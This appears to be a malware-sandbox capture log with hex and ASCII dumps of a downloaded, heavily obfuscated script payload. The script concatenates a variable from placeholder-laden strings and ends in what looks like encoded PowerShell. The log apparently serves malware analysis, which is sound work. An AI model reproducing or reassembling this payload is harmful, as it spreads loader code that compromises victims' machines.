                                                                                                                          2022-05-12 12:17:29 UTC86INData Raw: 4d 61 38 38 35 37 32 45 32 41 44 58 69 6c 6f 32 32 37 39 45 37 43 41 4c 4c 43 41 4c 4c 41 41 32 41 38 42 38 39 36 39 43 41 4c 4c 32 32 35 58 69 6c 6f 32 32 33 39 4d 61 38 38 32 43 44 42 58 69 6c 6f 32 32 41 33 58 69 6c 6f 32 32 43 32 39 32 43 3a 43 33 41 42 42 35 43 3a 43 45 36 44 43 3a 43 43 32 36 44 38 44 58 69 6c 6f 32 32 44 43 41 42 38 43 41 4c 4c 32 38 58 69 6c 6f 32 32 36 43 43 3a 43 38 43 42 44 32 43 58 69 6c 6f 32 32 4d 61 38 38 36 41 45 33 4d 61 38 38 58 69 6c 6f 32 32 33 33 43 41 4c 4c 32 43 3a 43 36 42 43 41 4c 4c 43 44 43 43 44 32 43 4d 61 38 38 35 33 43 3a 43 44 35 43 35 43 3a 43 58 69 6c 6f 32 32 44 32 45 32 43 41 4c 4c 42 43 3a 43 36 36 4d 61 38 38 4d 61 38 38 43 32 45 4d 61 38 38 38 45 42 39 39 43 41 4c 4c 43 41 4c 4c 43 41 4c 4c 42 38 43
                                                                                                                          Data Ascii: Ma88572E2ADXilo2279E7CALLCALLAA2A8B8969CALL225Xilo2239Ma882CDBXilo22A3Xilo22C292C:C3ABB5C:CE6DC:CC26D8DXilo22DCAB8CALL28Xilo226CC:C8CBD2CXilo22Ma886AE3Ma88Xilo2233CALL2C:C6BCALLCDCCD2CMa8853C:CD5C5C:CXilo22D2E2CALLBC:C66Ma88Ma88C2EMa888EB99CALLCALLCALLB8C
                                                                                                                          2022-05-12 12:17:29 UTC94INData Raw: 4d 61 38 38 42 32 45 38 41 45 4d 61 38 38 44 37 38 43 41 4c 4c 38 43 3a 43 35 41 36 36 38 39 38 42 38 58 69 6c 6f 32 32 39 43 41 4c 4c 33 58 69 6c 6f 32 32 42 38 37 45 43 38 41 39 42 35 43 43 45 39 43 41 4c 4c 35 32 36 58 69 6c 6f 32 32 36 4d 61 38 38 42 43 41 4c 4c 45 32 43 3a 43 35 32 38 4d 61 38 38 43 3a 43 33 32 45 32 33 39 41 32 58 69 6c 6f 32 32 43 41 4c 4c 44 41 43 58 69 6c 6f 32 32 35 38 33 45 32 35 33 38 4d 61 38 38 43 37 4d 61 38 38 44 42 41 45 32 33 45 45 32 35 33 37 37 38 58 69 6c 6f 32 32 33 35 37 38 42 38 41 58 69 6c 6f 32 32 44 41 42 35 42 38 42 36 4d 61 38 38 42 37 4d 22 0d 0a 4e 65 64 6c 67 67 65 6c 20 3d 20 4e 65 64 6c 67 67 65 6c 20 26 20 22 61 38 38 4d 61 38 38 33 43 3a 43 33 45 32 4d 61 38 38 39 4d 61 38 38 39 43 41 4c 4c 36 32 37 35
                                                                                                                          Data Ascii: Ma88B2E8AEMa88D78CALL8C:C5A66898B8Xilo229CALL3Xilo22B87EC8A9B5CCE9CALL526Xilo226Ma88BCALLE2C:C528Ma88C:C32E239A2Xilo22CALLDACXilo22583E2538Ma88C7Ma88DBAE23EE253778Xilo223578B8AXilo22DAB5B8B6Ma88B7M"Nedlggel = Nedlggel & "a88Ma883C:C3E2Ma889Ma889CALL6275
                                                                                                                          2022-05-12 12:17:29 UTC101INData Raw: 4c 45 32 41 41 4d 61 38 38 4d 61 38 38 33 38 4d 61 38 38 36 42 39 43 41 4c 4c 33 35 32 37 39 39 45 36 45 37 39 43 33 4d 61 38 38 43 41 4c 4c 42 43 3a 43 43 41 4c 4c 32 35 43 3a 43 38 43 41 4c 4c 42 42 35 32 42 43 58 69 6c 6f 32 32 44 41 43 44 38 43 32 58 69 6c 6f 32 32 33 36 4d 61 38 38 42 43 41 4c 4c 32 44 44 42 41 35 43 3a 43 33 4d 61 38 38 41 36 33 39 32 43 38 32 33 42 43 3a 43 42 4d 61 38 38 42 39 4d 61 38 38 44 43 36 44 38 4d 61 38 38 44 33 37 45 4d 61 38 38 35 33 38 4d 61 38 38 43 3a 43 43 36 36 35 4d 61 38 38 38 58 69 6c 6f 32 32 43 3a 43 33 45 32 33 35 4d 61 38 38 58 69 6c 6f 32 32 42 38 33 37 58 69 6c 6f 32 32 39 4d 61 38 38 39 44 36 43 41 4c 4c 43 35 58 69 6c 6f 32 32 38 4d 61 38 38 43 3a 43 33 36 36 42 36 4d 61 38 38 42 58 69 6c 6f 32 32 35 43
                                                                                                                          Data Ascii: LE2AAMa88Ma8838Ma886B9CALL352799E6E79C3Ma88CALLBC:CCALL25C:C8CALLBB52BCXilo22DACD8C2Xilo2236Ma88BCALL2DDBA5C:C3Ma88A6392C823BC:CBMa88B9Ma88DC6D8Ma88D37EMa88538Ma88C:CC665Ma888Xilo22C:C3E235Ma88Xilo22B837Xilo229Ma889D6CALLC5Xilo228Ma88C:C366B6Ma88BXilo225C
                                                                                                                          2022-05-12 12:17:30 UTC109INData Raw: 58 69 6c 6f 32 32 42 33 33 37 45 45 36 44 32 43 3a 43 32 58 69 6c 6f 32 32 45 58 69 6c 6f 32 32 35 33 35 37 43 41 4c 4c 43 32 4d 61 38 38 38 58 69 6c 6f 32 32 39 36 38 39 39 43 58 69 6c 6f 32 32 44 32 43 3a 43 32 36 58 69 6c 6f 32 32 42 4d 61 38 38 38 38 41 42 38 43 41 4c 4c 38 33 43 4d 61 38 38 32 36 58 69 6c 6f 32 32 38 38 35 58 69 6c 6f 32 32 35 41 36 41 35 45 43 32 41 43 41 4c 4c 41 42 39 4d 61 38 38 43 3a 43 45 43 3a 43 44 44 38 58 69 6c 6f 32 32 43 41 4c 4c 41 4d 61 38 38 44 45 43 58 69 6c 6f 32 32 58 69 6c 6f 32 32 36 39 43 36 32 58 69 6c 6f 32 32 43 3a 43 32 45 32 35 33 43 3a 43 43 33 44 39 33 41 43 4d 61 38 38 58 69 6c 6f 32 32 45 33 41 35 37 4d 61 38 38 32 36 4d 61 38 38 38 37 42 44 41 33 35 38 58 69 6c 6f 32 32 45 33 35 33 38 4d 61 38 38 43 41
                                                                                                                          Data Ascii: Xilo22B337EE6D2C:C2Xilo22EXilo225357CALLC2Ma888Xilo2296899CXilo22D2C:C26Xilo22BMa8888AB8CALL83CMa8826Xilo22885Xilo225A6A5EC2ACALLAB9Ma88C:CEC:CDD8Xilo22CALLAMa88DECXilo22Xilo2269C62Xilo22C:C2E253C:CC3D93ACMa88Xilo22E3A57Ma8826Ma8887BDA358Xilo22E3538Ma88CA
                                                                                                                          2022-05-12 12:17:30 UTC117INData Raw: 38 58 69 6c 6f 32 32 38 58 69 6c 6f 32 32 4d 61 38 38 37 58 69 6c 6f 32 32 37 43 3a 43 37 36 33 36 33 41 58 69 6c 6f 32 32 32 35 36 43 33 39 37 32 36 42 58 69 6c 6f 32 32 43 41 4c 4c 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61
                                                                                                                          Data Ascii: 8Xilo228Xilo22Ma887Xilo227C:C76363AXilo22256C39726BXilo22CALLMa88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma
                                                                                                                          2022-05-12 12:17:30 UTC125INData Raw: 45 33 35 33 38 4d 61 38 38 43 38 36 37 43 41 4c 4c 39 38 58 69 6c 6f 32 32 43 3a 43 33 45 32 35 43 4d 61 38 38 35 32 35 45 35 35 33 38 4d 61 38 38 38 43 41 4c 4c 38 36 43 41 4c 4c 41 43 41 4c 4c 44 36 42 44 43 41 4c 4c 41 4d 61 38 38 44 43 38 4d 61 38 38 32 43 3a 43 43 43 37 58 69 6c 6f 32 32 4d 61 38 38 43 41 4c 4c 41 42 37 33 39 4d 61 38 38 43 4d 61 38 38 36 42 44 36 43 41 4c 4c 41 43 3a 43 32 45 32 35 33 4d 61 38 38 42 43 36 45 32 35 32 38 4d 61 38 38 43 3a 43 33 44 43 41 4c 4c 4d 61 38 38 42 39 42 43 3a 43 33 45 32 44 38 4d 61 38 38 35 33 39 45 33 35 33 38 4d 61 38 38 43 3a 43 43 36 45 36 42 38 37 43 3a 43 33 45 32 44 41 58 69 6c 6f 32 32 44 43 3a 43 32 45 4d 61 38 38 35 33 38 4d 61 38 38 43 41 4c 4c 38 39 32 42 45 43 3a 43 43 33 43 3a 43 36 33 39 4d
                                                                                                                          Data Ascii: E3538Ma88C867CALL98Xilo22C:C3E25CMa88525E5538Ma888CALL86CALLACALLD6BDCALLAMa88DC8Ma882C:CCC7Xilo22Ma88CALLAB739Ma88CMa886BD6CALLAC:C2E253Ma88BC6E2528Ma88C:C3DCALLMa88B9BC:C3E2D8Ma88539E3538Ma88C:CC6E6B87C:C3E2DAXilo22DC:C2EMa88538Ma88CALL892BEC:CC3C:C639M
                                                                                                                          2022-05-12 12:17:30 UTC133INData Raw: 6c 6f 32 32 35 41 43 41 4c 4c 43 36 43 3a 43 41 39 43 41 4c 4c 43 41 4c 4c 43 37 43 4d 61 38 38 38 58 69 6c 6f 32 32 43 3a 43 58 69 6c 6f 32 32 33 35 41 43 41 4c 4c 41 33 43 3a 43 44 4d 61 38 38 43 38 36 37 38 32 38 58 69 6c 6f 32 32 43 3a 43 33 45 32 41 43 58 69 6c 6f 32 32 35 43 41 4c 4c 43 41 4c 4c 45 32 35 33 38 4d 61 38 38 38 43 41 4c 4c 38 37 43 45 32 33 58 69 6c 6f 32 32 38 36 39 35 39 44 37 41 44 43 3a 43 35 37 43 4d 61 38 38 38 39 45 39 32 43 41 4c 4c 43 43 3a 43 58 69 6c 6f 32 32 43 41 4c 4c 42 38 38 37 32 44 36 41 32 44 37 38 58 69 6c 22 0d 0a 4e 65 64 6c 67 67 65 6c 20 3d 20 4e 65 64 6c 67 67 65 6c 20 26 20 22 6f 32 32 37 37 32 4d 61 38 38 44 35 39 43 41 4c 4c 43 41 4c 4c 43 41 4c 4c 37 41 41 43 3a 43 43 32 33 35 4d 61 38 38 32 4d 61 38 38 33
                                                                                                                          Data Ascii: lo225ACALLC6C:CA9CALLCALLC7CMa888Xilo22C:CXilo2235ACALLA3C:CDMa88C867828Xilo22C:C3E2ACXilo225CALLCALLE2538Ma888CALL87CE23Xilo2286959D7ADC:C57CMa8889E92CALLCC:CXilo22CALLB8872D6A2D78Xil"Nedlggel = Nedlggel & "o22772Ma88D59CALLCALLCALL7AAC:CC235Ma882Ma883
                                                                                                                          2022-05-12 12:17:30 UTC140INData Raw: 61 38 38 4d 61 38 38 43 58 69 6c 6f 32 32 45 32 45 45 38 44 43 3a 43 32 35 38 43 35 4d 61 38 38 38 43 41 4c 4c 39 42 43 3a 43 39 42 45 32 45 58 69 6c 6f 32 32 58 69 6c 6f 32 32 38 32 43 41 4c 4c 38 42 41 42 38 58 69 6c 6f 32 32 4d 61 38 38 44 44 43 32 44 36 37 37 58 69 6c 6f 32 32 58 69 6c 6f 32 32 44 36 37 45 36 43 41 4c 4c 4d 61 38 38 58 69 6c 6f 32 32 37 37 43 36 37 43 35 39 32 36 32 37 39 43 41 4c 4c 45 4d 61 38 38 37 37 39 43 41 4c 4c 45 43 41 4c 4c 38 33 58 69 6c 6f 32 32 33 4d 61 38 38 35 35 4d 61 38 38 44 38 41 37 35 39 35 38 37 38 37 39 35 32 45 44 45 41 36 32 35 43 32 36 43 3a 43 43 33 44 58 69 6c 6f 32 32 33 43 3a 43 39 33 44 38 4d 61 38 38 43 35 41 39 39 32 45 35 43 3a 43 38 44 32 41 43 36 37 43 38 44 38 41 36 36 41 58 69 6c 6f 32 32 44 43 36
                                                                                                                          Data Ascii: a88Ma88CXilo22E2EE8DC:C258C5Ma888CALL9BC:C9BE2EXilo22Xilo2282CALL8BAB8Xilo22Ma88DDC2D677Xilo22Xilo22D67E6CALLMa88Xilo2277C67C5926279CALLEMa88779CALLECALL83Xilo223Ma8855Ma88D8A75958787952EDEA625C26C:CC3DXilo223C:C93D8Ma88C5A992E5C:C8D2AC67C8D8A66AXilo22DC6
                                                                                                                          2022-05-12 12:17:30 UTC148INData Raw: 43 3a 43 58 69 6c 6f 32 32 45 32 35 33 32 58 69 6c 6f 32 32 42 37 32 37 32 44 4d 61 38 38 4d 61 38 38 42 45 32 36 41 43 41 4c 4c 4d 61 38 38 58 69 6c 6f 32 32 45 45 45 32 35 58 69 6c 6f 32 32 38 4d 61 38 38 43 3a 43 33 33 4d 61 38 38 35 37 39 58 69 6c 6f 32 32 39 43 3a 43 36 33 43 41 4c 4c 45 38 4d 61 38 38 43 3a 43 58 69 6c 6f 32 32 45 32 35 33 42 45 43 43 58 69 6c 6f 32 32 4d 61 38 38 58 69 6c 6f 32 32 38 37 37 38 58 69 6c 6f 32 32 58 69 6c 6f 32 32 44 43 41 4c 4c 35 45 35 45 41 44 39 44 45 38 4d 61 38 38 43 3a 43 58 69 6c 6f 32 32 45 32 35 33 43 41 4c 4c 43 3a 43 43 3a 43 35 45 58 69 6c 6f 32 32 43 45 37 43 3a 43 43 3a 43 33 45 32 35 33 45 36 37 41 32 4d 61 38 38 44 41 4d 61 38 38 44 36 45 45 4d 61 38 38 35 33 38 4d 61 38 38 43 41 32 33 4d 61 38 38 32
                                                                                                                          Data Ascii: C:CXilo22E2532Xilo22B7272DMa88Ma88BE26ACALLMa88Xilo22EEE25Xilo228Ma88C:C33Ma88579Xilo229C:C63CALLE8Ma88C:CXilo22E253BECCXilo22Ma88Xilo228778Xilo22Xilo22DCALL5E5EAD9DE8Ma88C:CXilo22E253CALLC:CC:C5EXilo22CE7C:CC:C3E253E67A2Ma88DAMa88D6EEMa88538Ma88CA23Ma882
                                                                                                                          2022-05-12 12:17:30 UTC156INData Raw: 4c 4c 32 32 44 43 3a 43 39 38 43 3a 43 58 69 6c 6f 32 32 36 44 32 32 43 41 4c 4c 4d 61 38 38 42 58 69 6c 6f 32 32 37 33 35 37 36 39 37 33 33 4d 61 38 38 35 32 4d 61 38 38 41 41 45 41 45 32 41 32 33 36 39 38 32 32 45 44 38 41 36 58 69 6c 6f 32 32 43 3a 43 38 4d 61 38 38 43 41 4c 4c 43 41 4c 4c 35 41 41 43 32 39 43 3a 43 58 69 6c 6f 32 32 36 35 35 43 35 43 41 4c 4c 45 35 35 33 44 43 3a 43 41 32 35 32 38 44 33 43 41 4c 4c 43 3a 43 32 39 39 45 38 43 41 4c 4c 44 44 39 41 38 33 39 35 39 36 4d 61 38 38 33 37 35 33 39 44 43 41 4c 4c 42 41 35 39 45 42 35 38 36 45 32 44 4d 61 38 38 32 36 33 41 45 38 38 44 35 38 39 38 35 43 3a 43 33 4d 61 38 38 39 41 43 41 4c 4c 35 37 36 37 33 4d 61 38 38 43 41 4c 4c 43 41 4c 4c 39 42 44 43 3a 43 33 36 39 42 37 33 41 45 36 43 3a 43
                                                                                                                          Data Ascii: LL22DC:C98C:CXilo226D22CALLMa88BXilo22735769733Ma8852Ma88AAEAE2A2369822ED8A6Xilo22C:C8Ma88CALLCALL5AAC29C:CXilo22655C5CALLE553DC:CA2528D3CALLC:C299E8CALLDD9A839596Ma8837539DCALLBA59EB586E2DMa88263AE88D58985C:C3Ma889ACALL57673Ma88CALLCALL9BDC:C369B73AE6C:C
                                                                                                                          2022-05-12 12:17:30 UTC164INData Raw: 41 4c 4c 58 69 6c 6f 32 32 37 43 42 36 58 69 6c 6f 32 32 42 35 36 42 33 37 43 32 58 69 6c 6f 32 32 4d 61 38 38 42 39 43 41 4c 4c 45 43 3a 43 4d 61 38 38 45 58 69 6c 6f 32 32 41 38 58 69 6c 6f 32 32 39 58 69 6c 6f 32 32 58 69 6c 6f 32 32 43 41 4c 4c 58 69 6c 6f 32 32 43 37 58 69 6c 6f 32 32 43 3a 43 42 42 39 33 41 32 58 69 6c 6f 32 32 44 41 43 35 4d 61 38 38 32 37 58 69 6c 6f 32 32 37 44 36 41 41 39 38 32 36 43 41 4c 4c 32 39 36 42 4d 61 38 38 35 43 36 4d 61 38 38 32 35 43 3a 43 44 43 41 4c 4c 39 43 3a 43 42 36 43 45 41 39 41 37 43 3a 43 41 37 38 36 35 42 42 35 35 58 69 6c 6f 32 32 36 43 3a 43 38 35 58 69 6c 6f 22 0d 0a 4e 65 64 6c 67 67 65 6c 20 3d 20 4e 65 64 6c 67 67 65 6c 20 26 20 22 32 32 58 69 6c 6f 32 32 43 41 4c 4c 4d 61 38 38 4d 61 38 38 43 3a 43
                                                                                                                          Data Ascii: ALLXilo227CB6Xilo22B56B37C2Xilo22Ma88B9CALLEC:CMa88EXilo22A8Xilo229Xilo22Xilo22CALLXilo22C7Xilo22C:CBB93A2Xilo22DAC5Ma8827Xilo227D6AA9826CALL296BMa885C6Ma8825C:CDCALL9C:CB6CEA9A7C:CA7865BB55Xilo226C:C85Xilo"Nedlggel = Nedlggel & "22Xilo22CALLMa88Ma88C:C
                                                                                                                          2022-05-12 12:17:30 UTC172INData Raw: 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33
                                                                                                                          Data Ascii: 863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863
                                                                                                                          2022-05-12 12:17:30 UTC180INData Raw: 32 43 41 4c 4c 41 43 3a 43 43 3a 43 42 45 33 39 39 37 37 39 41 36 39 4d 61 38 38 43 41 4c 4c 41 43 3a 43 43 3a 43 43 41 4c 4c 42 33 42 38 39 35 35 37 41 4d 61 38 38 45 35 44 39 41 41 44 35 38 43 3a 43 37 36 58 69 6c 6f 32 32 36 42 42 41 43 36 58 69 6c 6f 32 32 35 37 41 4d 61 38 38 45 35 44 39 41 41 44 35 38 43 3a 43 37 36 58 69 6c 6f 32 32 36 4d 61 38 38 41 42 43 37 43 41 4c 4c 42 43 58 69 6c 6f 32 32 44 4d 61 38 38 41 4d 61 38 38 42 4d 61 38 38 37 43 36 43 3a 43 33 38 58 69 6c 6f 32 32 39 42 36 42 39 35 37 37 39 38 36 42 38 43 4d 61 38 38 43 3a 43 39 4d 61 38 38 36 38 35 37 38 41 32 33 38 43 3a 43 45 41 4d 61 38 38 42 42 43 3a 43 38 43 3a 43 44 32 37 39 43 38 58 69 6c 6f 32 32 35 35 43 4d 61 38 38 35 43 41 4c 4c 45 58 69 6c 6f 32 32 42 41 43 37 43 41 4c
                                                                                                                          Data Ascii: 2CALLAC:CC:CBE399779A69Ma88CALLAC:CC:CCALLB3B89557AMa88E5D9AAD58C:C76Xilo226BBAC6Xilo2257AMa88E5D9AAD58C:C76Xilo226Ma88ABC7CALLBCXilo22DMa88AMa88BMa887C6C:C38Xilo229B6B9577986B8CMa88C:C9Ma8868578A238C:CEAMa88BBC:C8C:CD279C8Xilo2255CMa885CALLEXilo22BAC7CAL
                                                                                                                          2022-05-12 12:17:30 UTC187INData Raw: 43 35 43 3a 43 58 69 6c 6f 32 32 43 33 43 3a 43 41 35 44 38 43 3a 43 44 43 41 4c 4c 58 69 6c 6f 32 32 33 38 32 44 43 3a 43 43 3a 43 45 32 44 41 42 4d 61 38 38 38 41 43 37 43 41 4c 4c 42 43 42 43 44 32 42 43 3a 43 36 37 36 36 43 3a 43 4d 61 38 38 45 36 33 38 36 33 36 37 41 43 3a 43 37 44 32 45 43 41 4c 4c 39 43 43 43 32 43 45 37 37 44 58 69 6c 6f 32 32 32 43 41 4c 4c 45 39 32 41 45 36 37 41 32 58 69 6c 6f 32 32 44 36 43 3a 43 33 43 41 37 43 41 4c 4c 44 39 38 58 69 6c 6f 32 32 43 3a 43 33 45 32 45 38 36 43 41 4c 4c 39 37 41 58 69 6c 6f 32 32 4d 61 38 38 43 3a 43 4d 61 38 38 58 69 6c 6f 32 32 42 4d 61 38 38 39 45 37 45 32 39 33 43 41 4c 4c 36 33 39 4d 61 38 38 43 41 4c 4c 41 39 58 69 6c 6f 32 32 41 36 39 36 4d 61 38 38 58 69 6c 6f 32 32 38 4d 61 38 38 45 44
                                                                                                                          Data Ascii: C5C:CXilo22C3C:CA5D8C:CDCALLXilo22382DC:CC:CE2DABMa888AC7CALLBCBCD2BC:C6766C:CMa88E6386367AC:C7D2ECALL9CCC2CE77DXilo222CALLE92AE67A2Xilo22D6C:C3CA7CALLD98Xilo22C:C3E2E86CALL97AXilo22Ma88C:CMa88Xilo22BMa889E7E293CALL639Ma88CALLA9Xilo22A696Ma88Xilo228Ma88ED
                                                                                                                          2022-05-12 12:17:30 UTC195INData Raw: 43 38 41 58 69 6c 6f 32 32 35 32 4d 61 38 38 33 42 42 45 32 44 38 4d 61 38 38 35 41 36 45 33 35 33 38 4d 61 38 38 33 36 43 3a 43 41 36 42 36 37 43 42 36 37 39 41 38 58 69 6c 6f 32 32 43 3a 43 33 45 32 33 35 42 39 38 58 69 6c 6f 32 32 36 38 58 69 6c 6f 32 32 4d 61 38 38 38 35 37 42 58 69 6c 6f 32 32 36 36 43 41 4c 4c 33 22 0d 0a 4e 65 64 6c 67 67 65 6c 20 3d 20 4e 65 64 6c 67 67 65 6c 20 26 20 22 41 43 39 36 37 39 41 38 58 69 6c 6f 32 32 43 3a 43 33 45 32 32 36 4d 61 38 38 45 32 35 58 69 6c 6f 32 32 35 39 43 3a 43 39 43 3a 43 37 45 36 36 42 37 4d 61 38 38 42 58 69 6c 6f 32 32 4d 61 38 38 45 43 3a 43 33 35 4d 61 38 38 35 38 58 69 6c 6f 32 32 36 58 69 6c 6f 32 32 39 4d 61 38 38 38 41 37 32 32 42 45 42 44 43 41 4c 4c 36 4d 61 38 38 43 4d 61 38 38 32 33 4d 61
                                                                                                                          Data Ascii: C8AXilo2252Ma883BBE2D8Ma885A6E3538Ma8836C:CA6B67CB679A8Xilo22C:C3E235B98Xilo2268Xilo22Ma88857BXilo2266CALL3"Nedlggel = Nedlggel & "AC9679A8Xilo22C:C3E226Ma88E25Xilo2259C:C9C:C7E66B7Ma88BXilo22Ma88EC:C35Ma8858Xilo226Xilo229Ma888A722BEBDCALL6Ma88CMa8823Ma
                                                                                                                          2022-05-12 12:17:30 UTC203INData Raw: 43 42 42 38 41 42 58 69 6c 6f 32 32 42 4d 61 38 38 39 43 3a 43 43 4d 61 38 38 43 3a 43 38 38 42 38 33 35 33 42 37 4d 61 38 38 45 32 33 35 44 33 43 41 35 43 41 4c 4c 42 36 38 58 69 6c 6f 32 32 43 3a 43 33 45 32 44 41 43 3a 43 37 58 69 6c 6f 32 32 43 3a 43 36 39 45 45 36 35 43 3a 43 32 45 32 35 33 4d 61 38 38 39 41 33 36 58 69 6c 6f 32 32 39 37 38 36 42 43 43 41 42 42 35 45 42 43 58 69 6c 6f 32 32 44 41 43 43 3a 43 33 43 33 58 69 6c 6f 32 32 44 58 69 6c 6f 32 32 42 36 38 39 33 58 69 6c 6f 32 32 44 41 43 37 43 41 4c 4c 4d 61 38 38 42 44 43 41 4c 4c 44 43 45 58 69 6c 6f 32 32 32 33 43 3a 43 37 58 69 6c 6f 32 32 42 42 44 33 38 45 44 44 44 42 39 4d 61 38 38 42 36 33 41 41 43 41 4c 4c 38 4d 61 38 38 37 43 3a 43 43 41 4c 4c 39 45 44 32 58 69 6c 6f 32 32 39 41 33
                                                                                                                          Data Ascii: CBB8ABXilo22BMa889C:CCMa88C:C88B8353B7Ma88E235D3CA5CALLB68Xilo22C:C3E2DAC:C7Xilo22C:C69EE65C:C2E253Ma889A36Xilo229786BCCABB5EBCXilo22DACC:C3C3Xilo22DXilo22B6893Xilo22DAC7CALLMa88BDCALLDCEXilo2223C:C7Xilo22BBD38EDDDB9Ma88B63AACALL8Ma887C:CCALL9ED2Xilo229A3
                                                                                                                          2022-05-12 12:17:30 UTC211INData Raw: 39 39 41 37 36 33 43 41 4c 4c 45 33 4d 61 38 38 45 43 3a 43 45 37 32 33 36 43 3a 43 38 44 4d 61 38 38 36 36 36 44 44 39 22 0d 0a 4e 65 64 6c 67 67 65 6c 20 3d 20 4e 65 64 6c 67 67 65 6c 20 26 20 22 35 38 58 69 6c 6f 32 32 36 32 4d 61 38 38 43 3a 43 42 44 43 43 41 4c 4c 45 39 43 33 39 44 36 41 4d 61 38 38 33 4d 61 38 38 43 3a 43 39 32 36 39 44 36 39 4d 61 38 38 43 3a 43 58 69 6c 6f 32 32 45 32 35 33 4d 61 38 38 39 43 41 4c 4c 36 37 36 35 32 38 4d 61 38 38 43 3a 43 33 36 36 41 45 33 45 41 43 41 4c 4c 36 35 45 35 35 41 37 42 58 69 6c 6f 32 32 45 44 32 37 36 41 37 43 41 44 45 44 35 32 35 44 42 38 42 4d 61 38 38 58 69 6c 6f 32 32 42 35 45 35 43 3a 43 44 44 4d 61 38 38 39 37 58 69 6c 6f 32 32 45 44 32 36 45 35 32 35 33 33 38 44 42 58 69 6c 6f 32 32 35 44 42 38
                                                                                                                          Data Ascii: 99A763CALLE3Ma88EC:CE7236C:C8DMa88666DD9"Nedlggel = Nedlggel & "58Xilo2262Ma88C:CBDCCALLE9C39D6AMa883Ma88C:C9269D69Ma88C:CXilo22E253Ma889CALL676528Ma88C:C366AE3EACALL65E55A7BXilo22ED276A7CADED525DB8BMa88Xilo22B5E5C:CDDMa8897Xilo22ED26E525338DBXilo225DB8
                                                                                                                          2022-05-12 12:17:30 UTC219INData Raw: 42 4c 41 45 77 41 51 51 42 43 41 4c 4c 41 43 41 41 61 67 42 58 69 6c 6f 32 32 41 48 4d 41 64 41 42 6c 41 48 49 41 49 41 42 4d 61 38 38 41 47 6b 41 63 41 42 7a 41 48 4d 41 5a 51 42 75 41 43 41 41 52 41 42 4a 41 43 41 4c 4c 4d 41 54 77 42 58 41 45 43 3a 43 41 53 41 42 42 41 45 77 41 49 41 42 44 41 45 38 41 51 77 42 4c 41 43 41 4c 4c 51 41 51 51 42 4a 41 45 77 41 55 77 41 67 41 43 41 4c 4c 59 41 63 67 42 6b 41 47 6b 41 61 41 42 6d 41 48 51 41 5a 51 42 71 41 47 38 41 49 41 42 54 41 47 4d 61 38 38 41 59 51 42 68 41 48 4d 41 62 67 41 67 41 45 45 41 54 41 42 4c 41 45 38 41 53 41 42 50 41 43 41 41 52 51 42 6c 41 48 4d 41 62 51 42 70 41 48 51 41 61 41 41 43 3a 43 41 43 41 41 55 67 42 43 41 4c 4c 41 45 51 41 52 51 42 4e 41 43 41 4c 4c 41 41 49 41 42 6a 41 47 67 41
                                                                                                                          Data Ascii: BLAEwAQQBCALLACAAagBXilo22AHMAdABlAHIAIABMa88AGkAcABzAHMAZQBuACAARABJACALLMATwBXAEC:CASABBAEwAIABDAE8AQwBLACALLQAQQBJAEwAUwAgACALLYAcgBkAGkAaABmAHQAZQBqAG8AIABTAGMa88AYQBhAHMAbgAgAEEATABLAE8ASABPACAARQBlAHMAbQBpAHQAaAAC:CACAAUgBCALLAEQARQBNACALLAAIABjAGgA
